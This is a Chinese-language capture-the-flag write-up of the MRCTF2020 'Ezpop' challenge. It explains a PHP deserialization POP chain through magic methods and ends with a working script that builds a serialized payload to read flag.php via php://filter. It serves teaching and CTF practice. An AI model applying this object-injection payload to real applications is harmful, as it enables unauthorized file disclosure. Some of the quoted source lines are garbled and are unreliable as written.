[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i"$this->source)) {
            echo "hacker";
            $this->source "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->= array();
    }

    public function __get($key){
        $function $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
 
   

 

1.提示flag在flag.php中,先审计代码

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

首先类Modifier中 append里可以看到有include的包含漏洞,然后__invoke()函数中可以将var调用运行append,所以可以让var=php://filter/convert.base64-encode/resource=flag.php

思路就是调用__invoke()函数,然后让var被append执行即可得到flag

2.要想invoke被调用,只需让一个对象被当作函数来使用

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i"$this->source)) {
            echo "hacker";
            $this->source "index.php";
        }
    }
}


function __construct:给source赋值;当一个对象被实例化时调用函数

function __toString():用来返回str这个对象中的source;该函数是当一个对象被当做字符串调用或输出时才调用

function __wakeup():用来过滤;在但序列化时自动调用

如果让file等于一个对象(实例化的class),那么在反序列化时调用的wakeup方法中,就会引起连锁反应(正则匹配会把source当成字符串)

 

​从而调用了tostring方法,返回str中的source

class Test{
    public $p;
    public function __construct(){
        $this->= array();
    }

    public function __get($key){
        $function $this->p;
        return $function();
    }
}

 

function __construct():将变量p变成一个数组;当一个对象被实例化时调用函数

 

function __get():调用了一个函数,名字为function;访问私有属性或不存在的属性时,自动回调

到此思路就有了,我们要调用invoke()函数,那么就可以让function是一个对象,​要让function为对象,只需要让function __construct()中的$this->p = new Modifier();

 

因此我们需要调用__get函数,而get函数需要调用一个不存在的对象,可以在没有动手过的Test类上下手

 

​根据class show中的结果,return了一个str中的source,那么当str被赋值为一个实例化对象后,只要该对象没有source属性,就可以触发__get()方法,而刚好Test中没有source。
所以可以构造下面的代码

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
    }   
}

class Test{
    public $p;  //没法直接让p等于一个新的对象,需要通过方法来赋值
    public function __construct(){
        $this->p = new Modifier();
    }
}

$a = new Show('fanqie');  //随便赋值,为了让file有值,否则会报错警告
$a -> str = new Test();   //让str等于一个类
$b = new Show($a);        //再次调用,让file赋值成一个对象,触发__tostring(),开始pop链
echo urlencode(serialize($b));  

?>

base64解码即可得到flag

 

 

posted @ 2022-06-28 13:39  L0VEhzzz  阅读(195)  评论(0编辑  收藏  举报